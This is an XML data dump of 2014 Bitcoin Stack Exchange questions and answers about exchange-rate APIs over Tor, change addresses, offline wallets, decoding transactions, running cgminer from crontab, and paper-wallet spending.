  <row Id="22788" PostTypeId="1" CreationDate="2014-02-27T22:56:01.403" Score="0" ViewCount="1190" Body="&lt;p&gt;What is anonymous and safe api to get bitcoin Exchange Rates like BTC/USD and BTC/EUR without trace my ip ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i used tor service, i search and found blockchain api contain Exchange Rates Feed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/ticker&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/ticker&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this secure means if i use this api, can blockchain trace my ip(tor) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and how can i use this api in php ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if anyone have others api provides bitcoin Exchange Rates Feed please tell me ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="13349" LastEditorUserId="11253" LastEditDate="2014-02-27T23:15:28.603" LastActivityDate="2014-02-27T23:36:37.960" Title="What is anonymous and safe api to get bitcoin Exchange Rates?" Tags="|api|exchange-rate|php|" AnswerCount="1" CommentCount="3" ClosedDate="2014-05-06T21:44:38.297" ContentLicense="CC BY-SA 3.0" />
  <row Id="22789" PostTypeId="2" ParentId="22788" CreationDate="2014-02-27T23:36:37.960" Score="1" Body="&lt;p&gt;Any internet service, including an API, will be able to see the IP address the request originated from. It is reasonable to assume that at least in form of some log file, such information gets records by the API provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have already indicated that you use TOR, which should, at least ideally, hide your real IP from the API service by effectively substituting the IP of the TOR exit node you happen to be using. If that achieves your goal depends on your motivation for hiding it in the first place. Note that TOR is not designed for, and likely not capable of, hiding your real IP from someone doing pervasive internet-wide wire sniffing (NSA, maybe?). Such an adversary would be able to simultaneously observe all traffic at all TOR nodes and correlate incoming and outgoing network activity of TOR nodes to potentially determine what your real IP address is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You didn't specify why you want to hide your IP from whom exactly, and I'm having one of my unimaginative moments where I cannot come up with a likely scenario why it may be important for you to hide the fact that your computer was involved in looking up publicly accessible information where widespread interest for a whole variety of reasons exists anyways. Hence, I can't judge if for your application, this is sufficiently anonymous and safe (as you asked).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All bitcoin exchanges maintain their own public API for their exchange rate and usually lots of other data, even full order books. If you are happy with delayed third-party data, you can indeed also look at e.g. &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; or &lt;a href=&quot;http://bitcoincharts.com/&quot; rel=&quot;nofollow&quot;&gt;bitcoincharts.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2014-02-27T23:36:37.960" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22790" PostTypeId="1" CreationDate="2014-02-27T23:43:12.103" Score="2" ViewCount="269" Body="&lt;p&gt;I was about to transfer my funds from bitstamp -&gt; paper wallet for the first time, but wanted to try it out first with $0.01 etc. I'm worried that since you have to specify where 'change' goes with bitcoin wallets, the rest of my funds will be diverted. Is this incorrect? Thanks in advance.&lt;/p&gt;&#xA;" OwnerDisplayName="user13987" LastActivityDate="2014-02-28T05:33:35.543" Title="Confusion over 'change' when transferring funds from bitstamp to paper wallet" Tags="|transactions|exchanges|bitstamp|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22791" PostTypeId="1" CreationDate="2014-02-28T00:08:28.007" Score="1" ViewCount="161" Body="&lt;p&gt;Excuse my ignorance. I'm new to this. When trying to start mining, does it matter which client I choose to do the mining? If so, to what end?&lt;/p&gt;&#xA;" OwnerUserId="13988" LastEditorUserId="5406" LastEditDate="2016-04-24T12:23:21.237" LastActivityDate="2019-05-17T20:03:31.780" Title="Do mining clients affect efficiency of mining?" Tags="|client|mining-profitability|mining-software|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22792" PostTypeId="2" ParentId="22790" CreationDate="2014-02-28T00:20:38.153" Score="1" Body="&lt;p&gt;You don't need to worry about change addresses unless you're manually crafting a raw transaction or try to manually use funds from a paper wallet. Your online wallet or local wallet software is supposed to handle that for you.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-02-28T00:20:38.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22794" PostTypeId="2" ParentId="22790" CreationDate="2014-02-28T01:35:50.597" Score="2" Body="&lt;p&gt;You are correct, the rest of your funds &lt;em&gt;will&lt;/em&gt; be diverted. However, they will be diverted to a new &quot;change&quot; address that is also managed by your wallet. So, you will still own the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, suppose your wallet contains 10 BTC &lt;sup&gt;[1]&lt;/sup&gt;. If you send 0.01 BTC to a paper wallet address, then your client will automatically send the remaining 9.99 BTC to a new address inside your wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information, see the following questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/20611/why-do-outputs-need-to-be-spent-entirely&quot;&gt;Why do outputs need to be spent entirely?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1629/why-does-bitcoin-send-the-change-to-a-different-address&quot;&gt;Why does Bitcoin send the “change” to a different address?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;This simplified explanation assumes that you originally had all 10 BTC sent to a single address. Normally, your wallet manages multiple addresses and adds up all the individual balances to show you the total wallet balance.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-28T01:35:50.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22795" PostTypeId="1" CreationDate="2014-02-28T01:49:54.053" Score="0" ViewCount="235" Body="&lt;p&gt;What happens when I put a deposit into my wallet, while my computer is offline?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say for example, I automatically deposit btc from a pool to the wallet on my computer, but I shut my computer down for a week/month/ or whatever.&#xA;Will the Bitcoins be in some kind of &quot;cloud&quot; until my computer/wallet is online again?&#xA;How does this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Kevin&lt;/p&gt;&#xA;" OwnerUserId="13991" LastEditorUserId="13992" LastEditDate="2014-02-28T08:02:04.277" LastActivityDate="2014-02-28T08:02:04.277" Title="Deposits to an Offline Wallet" Tags="|wallet|offline|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22796" PostTypeId="1" AcceptedAnswerId="22840" CreationDate="2014-02-28T02:02:44.903" Score="41" ViewCount="9638" Body="&lt;p&gt;I am new to both StackExchange and to the new online currency called Bitcoin. I understand what Bitcoin is and how it works, but I was wondering: how do you actually get started with Bitcoin? I have read some articles about mining and the different things you can do to actually get some money in profit, but none of the articles actually go into depth with how to actually do all these things. I was wondering if anyone in the community could help me and make any suggestions to me and those who want to get started in the new currency.&lt;/p&gt;&#xA;" OwnerUserId="13992" LastEditorUserId="5406" LastEditDate="2021-03-26T20:23:22.777" LastActivityDate="2023-04-27T14:00:34.787" Title="I am new to Bitcoin, how can I get started?" Tags="|introducing-bitcoin|canonical-question|" AnswerCount="10" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22797" PostTypeId="2" ParentId="22795" CreationDate="2014-02-28T02:05:18.463" Score="0" Body="&lt;p&gt;All bitcoins are on the cloud. Otherwise, no-one would know if you have the balance you claim you have - they're not just going to take your word for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have locally, is the private key.&lt;/p&gt;&#xA;" OwnerUserId="12006" LastActivityDate="2014-02-28T02:05:18.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22798" PostTypeId="1" CreationDate="2014-02-28T02:10:07.003" Score="0" ViewCount="552" Body="&lt;p&gt;I get this output from &lt;strong&gt;gettransaction&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;txid&quot; : &quot;48476129249868825168d72ec6224d8be8ed70a204a7ac4b6523cf3eb8782e83&quot;,&#xA;&quot;txid&quot; : &quot;48476129249868825168d72ec6224d8be8ed70a204a7ac4b6523cf3eb8782e83&quot;,&#xA;&quot;version&quot; : 1,&#xA;&quot;time&quot; : 1392083602,&#xA;&quot;locktime&quot; : 0,&#xA;&quot;vin&quot; : [&#xA;{&#xA;&quot;txid&quot; : &quot;f56aaf54ccd5e6f1a5aa7d79f413c8b528151464ccc05b42c334ba3abcfec3a9&quot;,&#xA;&quot;vout&quot; : 0,&#xA;&quot;scriptSig&quot; : {&#xA;&quot;asm&quot; : &quot;30450221008018b4a64cbf305691922152bc3823d6c2eb58ce3935aaad6ca3d9bc7cfeee27022050656428b7d69a50bd9c6ed8cf81213b7d3457c424cf722bb42da4e325ac4bb001 03edba2f5507510abf156b178b82ac93b36c4480010b0cd5242a86b2532655d11c&quot;,&#xA;&quot;hex&quot; : &quot;4830450221008018b4a64cbf305691922152bc3823d6c2eb58ce3935aaad6ca3d9bc7cfeee27022050656428b7d69a50bd9c6ed8cf81213b7d3457c424cf722bb42da4e325ac4bb0012103edba2f5507510abf156b178b82ac93b36c4480010b0cd5242a86b2532655d11c&quot;&#xA;},&#xA;&quot;sequence&quot; : 4294967295&#xA;}&#xA;],&#xA;&quot;vout&quot; : [&#xA;{&#xA;&quot;value&quot; : 232306.19497700,&#xA;&quot;n&quot; : 0,&#xA;&quot;scriptPubKey&quot; : {&#xA;&quot;asm&quot; : &quot;OP_DUP OP_HASH160 fd4c23e37c3e35db14b045e1657c821696ffd774 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;&quot;hex&quot; : &quot;76a914fd4c23e37c3e35db14b045e1657c821696ffd77488ac&quot;,&#xA;&quot;reqSigs&quot; : 1,&#xA;&quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;&quot;addresses&quot; : [&#xA;&quot;MvL5PPHRz9PMHiwToAzXi7aptRrxZ9GLJY&quot;&#xA;]&#xA;}&#xA;},&#xA;{&#xA;&quot;value&quot; : 3777.33695900,&#xA;&quot;n&quot; : 1,&#xA;&quot;scriptPubKey&quot; : {&#xA;&quot;asm&quot; : &quot;OP_DUP OP_HASH160 8c0634d7a07bd4041b4651c7b98ade93ca11e951 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;&quot;hex&quot; : &quot;76a9148c0634d7a07bd4041b4651c7b98ade93ca11e95188ac&quot;,&#xA;&quot;reqSigs&quot; : 1,&#xA;&quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;&quot;addresses&quot; : [&#xA;&quot;Mk19FdAUVMSp7MM5dWRPnA9Nvj6bjMaFmH&quot;&#xA;]&#xA;}&#xA;}&#xA;],&#xA;&quot;blockhash&quot; : &quot;000000000448d9bf8021c78b6eeb1182a2cc2281185870111e094e4278ea27b4&quot;,&#xA;&quot;confirmations&quot; : 45591,&#xA;&quot;txntime&quot; : 1392083602,&#xA;&quot;time&quot; : 1392083613&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I decode it into something like this with Perl? I need it to export database to MySQL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Output:&#xA;wallet1 0.123 BTC&#xA;wallet2 0.5 BTC&#xA;Input:&#xA;wallet3 0.4 BTC&#xA;wallet4 0.222 BTC&#xA;Fees: 0.001 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13993" LastEditorUserId="2306" LastEditDate="2015-11-24T23:32:57.807" LastActivityDate="2015-11-24T23:32:57.807" Title="Decode transaction" Tags="|json-rpc|perl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22803" PostTypeId="2" ParentId="22759" CreationDate="2014-02-28T02:49:24.747" Score="0" Body="&lt;p&gt;It's like any market for anything of value. Like stocks or bonds or coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bid price is the price someone has asked to purchase that item for. The asked price is the price someone is asking to sell the item for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if someone is saying they will sell 1 BTC for $600 USD and someone else says they will buy 1 BTC for $599 USD, these are orders waiting to be fulfilled. As long as nothing changes, these numbers stay the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if someone else comes along and sees someone is willing to buy for $599. and they are willing to sell for $599. They put in an order to sell, and they sell the 1 BTC to the buyer for $599. If there is no one else willing to buy for $599 and the next willing buyer wants to buy at $598. Then the bid price lowers to $598. while the ask is still $600.&lt;/p&gt;&#xA;" OwnerUserId="13667" LastActivityDate="2014-02-28T02:49:24.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22805" PostTypeId="2" ParentId="22795" CreationDate="2014-02-28T04:41:46.687" Score="1" Body="&lt;p&gt;Bitcoins are stored in a decentralized ledger called the blockchain.  When your computer is shutdown the blockchain stores the balance in your associated public key also known as an address.  If you are using the reference client (Bitcoin-qt) you will be able to spend your Bitcoins once the computer is turned back on and the blockchain has downloaded all of the transactions that have occurred since it was turned off.   So while your PC is off yes you can still receive Bitcoins because the rest of the network has seen the transaction that is incoming to your address and they will continue to store that information indefinitely.  &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-02-28T04:41:46.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22806" PostTypeId="2" ParentId="22798" CreationDate="2014-02-28T04:49:07.373" Score="1" Body="&lt;p&gt;There is an open source implementation of block explorer that supports MySQL databases it is called Bitcoin-abe.  This also works with other cryptocurrencies besides BTC you can find it and the source code at &lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin-abe/bitcoin-abe&lt;/a&gt; it is written in Python so it may or may not fit your requirements, you should also be aware that it may take a couple of days to parse a blockchain and be ready to view in a web browser.  &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-02-28T04:49:07.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22807" PostTypeId="2" ParentId="22796" CreationDate="2014-02-28T05:19:07.000" Score="-1" Body="&lt;p&gt;If you want to start mining (no equipment wise) you can look at cloud hashing (such as &lt;a href=&quot;https://cex.io&quot; rel=&quot;nofollow&quot;&gt;https://cex.io&lt;/a&gt; or &lt;a href=&quot;https://cloudhashing.com/contracts&quot; rel=&quot;nofollow&quot;&gt;https://cloudhashing.com/contracts&lt;/a&gt;) [there are plenty more out there] but keep in mind that most of these will NOT come close to breaking even. You can also find mining contracts over at eBay. Most contracts that you find online will never let you break even but some of them will let you come close to breaking even, it saves you the electricity cost. I personally wouldn't hop into mining Bitcoin right now because the difficulty that it takes to mine a block is so high that you will need thousands of dollars to invest in equipment, pay for electricity, and possibly wait a couple months for the product to deliver to your doorstep (keep in mind that the difficulty will still be increasing). Or you can just buy some of the currency at famous trading sites such as: &lt;a href=&quot;https://coinbase.com&quot; rel=&quot;nofollow&quot;&gt;https://coinbase.com&lt;/a&gt; &lt;a href=&quot;https://btc-e.com/&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/&lt;/a&gt; or &lt;a href=&quot;https://www.bitstamp.net&quot; rel=&quot;nofollow&quot;&gt;https://www.bitstamp.net&lt;/a&gt;.&#xA;My suggestion is to buy some coins if you are looking to save money and time, start with cloud hashing (contracts) to see how it goes, if it interests you then start buying some equipment (avoid butterfly labs, they have some horrible reviews and long handling time). Hopefully this provided some insight on where to start. (Programs to use would be bfgminer/cgminer but you need equipment to make those programs effective, avoid using graphics cards for bitcoin as well)&#xA;edit: find faucets, they're free but take a while to reach a payout threshold&lt;/p&gt;&#xA;" OwnerUserId="13388" LastEditorUserId="13388" LastEditDate="2014-02-28T05:25:02.603" LastActivityDate="2014-02-28T05:25:02.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22808" PostTypeId="2" ParentId="22790" CreationDate="2014-02-28T05:33:35.543" Score="1" Body="&lt;p&gt;You can send any amount to a paper wallet without concern for the change.  The critical part to worry about is when you spend the funds on the paper wallet.  If you do not spend all of the funds whatever is left over will be used as a transaction fee regard less of the amount.  uminatsu is correct in stating that this only occurs when you try and craft a raw transaction using the keys from that wallet.  It is suggested that you import the private keys into your own wallet before attempting to spend these funds to ensure that you do not make a mistake.  You will need to use the importprivkey function of the bitcoin-qt wallet application to be able to spend your BTC.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-02-28T05:33:35.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22809" PostTypeId="1" AcceptedAnswerId="22817" CreationDate="2014-02-28T06:00:03.823" Score="0" ViewCount="117" Body="&lt;p&gt;This idea came to me while I was trying to trade Frozencoins. For a miner like me that has to wait ages to get coins, its nearly impossible to trade small amounts of Frozencoins. People usually ask for huge amounts, from a hundred to 10,000. What if, people who made buy orders had the option of a &quot;trickle&quot; payment? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, lets say that I only have 100 Frozencoin for X amount of Bitcoins but someone wants to buy 200. A trickle exchange would allow the person buying the Fronzencoins to receive multiple payments from different people with varying amounts until he reached the total he wanted. The people would get paid back ( in the cryptocurrency he/she was trading them for ) at the exact same rate ( Maybe 0.00002 BTC for every 1 FZ ). If he/she thought the wait time is too long, he/she can keep the coins and cut off the buy order. Is this possible? If so, what would it take to implement it?&lt;/p&gt;&#xA;" OwnerUserId="13192" LastEditorUserId="13192" LastEditDate="2014-02-28T06:17:01.807" LastActivityDate="2014-02-28T08:12:44.510" Title="Trickle Exchange System?" Tags="|exchanges|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22810" PostTypeId="2" ParentId="7529" CreationDate="2014-02-28T06:07:18.407" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/nitinsurana/Litecoin-Bitcoin-RPC-Java-Connector&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/nitinsurana/Litecoin-Bitcoin-RPC-Java-Connector&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses Htmlunit instead of Apache Http Library, which makes it a bit easy to understand and extend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually wrote &amp;amp; tested it for Litecoin for one of my projects. But it has been extended to support bitcoin and all the RPC methods are available.&lt;/p&gt;&#xA;" OwnerUserId="13642" LastEditorUserId="13642" LastEditDate="2017-01-23T22:04:09.413" LastActivityDate="2017-01-23T22:04:09.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22811" PostTypeId="2" ParentId="3168" CreationDate="2014-02-28T06:13:56.343" Score="1" Body="&lt;p&gt;For everyone else, who stumble upon this question :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written a Java wrapper around the JSON-RPC provided by bitcoin/litecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/coding-idiot/Litecoin-Bitcoin-RPC-Java-Connector&quot; rel=&quot;nofollow&quot;&gt;https://github.com/coding-idiot/Litecoin-Bitcoin-RPC-Java-Connector&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses Htmlunit &amp;amp; GoogleGson and quite easy to understand and extend.&lt;/p&gt;&#xA;" OwnerUserId="13642" LastActivityDate="2014-02-28T06:13:56.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22814" PostTypeId="1" CreationDate="2014-02-28T07:17:28.940" Score="0" ViewCount="82" Body="&lt;p&gt;I would like to buy bitcoins in viet nam. How would I do that?&lt;/p&gt;&#xA;" OwnerUserId="14000" LastActivityDate="2014-02-28T08:07:46.763" Title="I live in viet nam and I want to buy bitcoin. How would I do that?" Tags="|transactions|" AnswerCount="2" CommentCount="2" ClosedDate="2014-03-02T16:42:59.617" ContentLicense="CC BY-SA 3.0" />
  <row Id="22815" PostTypeId="2" ParentId="22814" CreationDate="2014-02-28T08:06:40.723" Score="1" Body="&lt;p&gt;I would say try &lt;a href=&quot;https://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com&lt;/a&gt;&#xA;You can buy from other people in your area/country. &lt;/p&gt;&#xA;" OwnerUserId="13969" LastActivityDate="2014-02-28T08:06:40.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22816" PostTypeId="2" ParentId="22814" CreationDate="2014-02-28T08:07:46.763" Score="1" Body="&lt;p&gt;did you try to contact someone on &lt;a href=&quot;https://localbitcoins.com/country/VN&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/country/VN&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its listed there. There are few users with reputation offering bitcoins for western union&lt;/p&gt;&#xA;" OwnerUserId="13817" LastActivityDate="2014-02-28T08:07:46.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22817" PostTypeId="2" ParentId="22809" CreationDate="2014-02-28T08:12:44.510" Score="1" Body="&lt;p&gt;Yea this is possible, there's nothing stopping you from making a new exchange that does things differently. Although to start making one you're going to need serious programming knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider the following questions&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1447/is-there-an-open-source-bitcoin-exchange?rq=1&quot;&gt;Is there an open source Bitcoin exchange?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/17007/what-is-needed-to-make-a-bitcoin-exchange&quot;&gt;What is needed to make a bitcoin exchange?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-02-28T08:12:44.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22818" PostTypeId="1" CreationDate="2014-02-28T08:39:34.940" Score="0" ViewCount="616" Body="&lt;p&gt;I trying to script the launch of cgminer based on a crontab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a crontab entry that fires up a bash shell script that launches cgminer. Running the script directly launches cgminer flawlessly. Running the script from crontab always give the &quot;no gpus usable&quot; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have triple checked that all vars are set (DISPLAY, GPU_MAX_ALLOC_PERCENT, GPU_USE_SYNC_OBJECTS=1), that the paths are correct, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entry is in the crontab accessible when being (sudo -s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues on what could be wrong ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, drivers and SDK are installed correctly as everything works correctly when I launch the script manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script launches cgminer with a basic cmd : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd dir_where_cgminer_is_stored &#xA;./cgminer -c /folder/myconfig.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14002" LastActivityDate="2014-09-26T23:18:01.903" Title="Issue running cgminer from crontab" Tags="|cgminer|linux|ubuntu|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22819" PostTypeId="1" CreationDate="2014-02-28T08:51:48.653" Score="2" ViewCount="210" Body="&lt;p&gt;Is it known the minimum amount of characters you need to mistype to get another valid address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addresses contain checksums, and also must follow some specific rules, so I guess this could be calculated: I wonder if someone did.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2014-03-01T21:08:21.127" Title="How many characters you need to mistype at minimum to get another valid address?" Tags="|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22820" PostTypeId="2" ParentId="21678" CreationDate="2014-02-28T08:53:44.170" Score="0" Body="&lt;p&gt;There is room for a lot of improvement with these cards.&#xA;You should reduce Intensity, and tweak the thread-concurrency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First delete all .bin files in the cgminer folder, then run it only with -n parameter.&#xA;This will generate a bin file containing a number with the detected threads available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now run cgminer with thread-concurrency set to the number found in the bin filename and intensity at 13 for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that if the hashrate is still very low, add to the thread-concurrency and relaunch.&#xA;You can also try to overclock the gpu and memory directly with cgminer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cgminer --help will show you available parameters.&lt;/p&gt;&#xA;" OwnerUserId="14002" LastActivityDate="2014-02-28T08:53:44.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22821" PostTypeId="2" ParentId="22796" CreationDate="2014-02-28T09:00:22.243" Score="0" Body="&lt;p&gt;The best way to earn coins is to get tipped on reddit or other places that allow it, or using faucets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you get tipped some altcoins, convert them to bitcoin on an exchange (cryptsy,...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware that you have to open a wallet for every currency you will be using. For example blockchain.info for Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find a way to get free electricity (solar,...) and someone is willing to give you a low end AMD GPU you could also start running a miner for free on very basic PC hardware, which everyone has at home.&lt;/p&gt;&#xA;" OwnerUserId="14002" LastActivityDate="2014-02-28T09:00:22.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22822" PostTypeId="2" ParentId="22819" CreationDate="2014-02-28T09:25:07.373" Score="5" Body="&lt;p&gt;Check sum is a result of 2 hash-functions: SHA256 and RIPEMD160. The length of checksum is 4 bytes. Hash functions are indistinguishable from random oracle, so it is possible, if you make 1 mistake in non-checksum character, you get the same checksum. But probability of this is 1/2^32.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added later: not exactly correct due to base58 encoding. Correction in the another answer.&lt;/p&gt;&#xA;" OwnerUserId="10411" LastEditorUserId="10411" LastEditDate="2014-03-01T21:08:21.127" LastActivityDate="2014-03-01T21:08:21.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22823" PostTypeId="1" AcceptedAnswerId="22827" CreationDate="2014-02-28T10:12:30.213" Score="1" ViewCount="2210" Body="&lt;p&gt;I have a wallet in blockchain.info. I'm quite new to bitcoin and would be happy if someone would explain me :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) what should I do in order to save my bitcoins if something happens to blockchain.info. Can I access to my bitcoin with ANY wallet, if I know my address and private key, or if I know my address and password? if so, how do I find my private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) I've also noticed a backup option in blockchain.info wallet. If I use it, can I get access to my bitcoins with this backup, with every wallet? should I save a new backup after every transmission of bitcoins from my blockchain.info wallet? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(3) Wha'ts the best way to prevent a situation where a malware &quot;reads&quot; my password when I enter it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14004" LastEditorUserId="14004" LastEditDate="2014-02-28T12:57:29.260" LastActivityDate="2014-08-24T12:02:49.180" Title="Security and recover issues in blockchain.info wallet" Tags="|blockchain|private-key|e-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22825" PostTypeId="1" AcceptedAnswerId="22836" CreationDate="2014-02-28T11:42:53.907" Score="0" ViewCount="616" Body="&lt;p&gt;So, I want to create a cold storage bitcoin address to store incoming BTCs from donations and payments (I'm a freelance developer so I'm getting used being payed with BTC). Since this address has to be spread among lots of different people, I can't change it so frequently, it's like my gpg public key, it would be a pain to change this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that I need a way to spend the BTCs stored on my paper wallet in a safe but fast way. The most obvious solution is using the Blockchain.info app, scanning the private key when required (I do not care about privacy in that case, I know I can be traced and such, but I'm ok that change goes back to the same paper wallet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how much should I be worried about my private key being compromised by scanning it with my phone? Are there any known reports about this happening? Are there same safe ROMs that could prevent this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is a serious concern, how can I spend the BTCs on my paper wallet in a same way whitout changing the public address everytime?&lt;/p&gt;&#xA;" OwnerUserId="14005" LastActivityDate="2014-02-28T20:31:48.993" Title="Spend BTCs from a paper wallet" Tags="|blockchain.info|paper-wallet|android|spending|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22826" PostTypeId="2" ParentId="703" CreationDate="2014-02-28T12:17:49.953" Score="1" Body="&lt;p&gt;Mycelium wallet for Android has a feature called &quot;Cold Storage&quot; that does exactly what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You simply scan (or enter) the private key, then scan (or enter) the Bitcoin address t send the funds to. Hit send and you are done.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2014-02-28T12:17:49.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
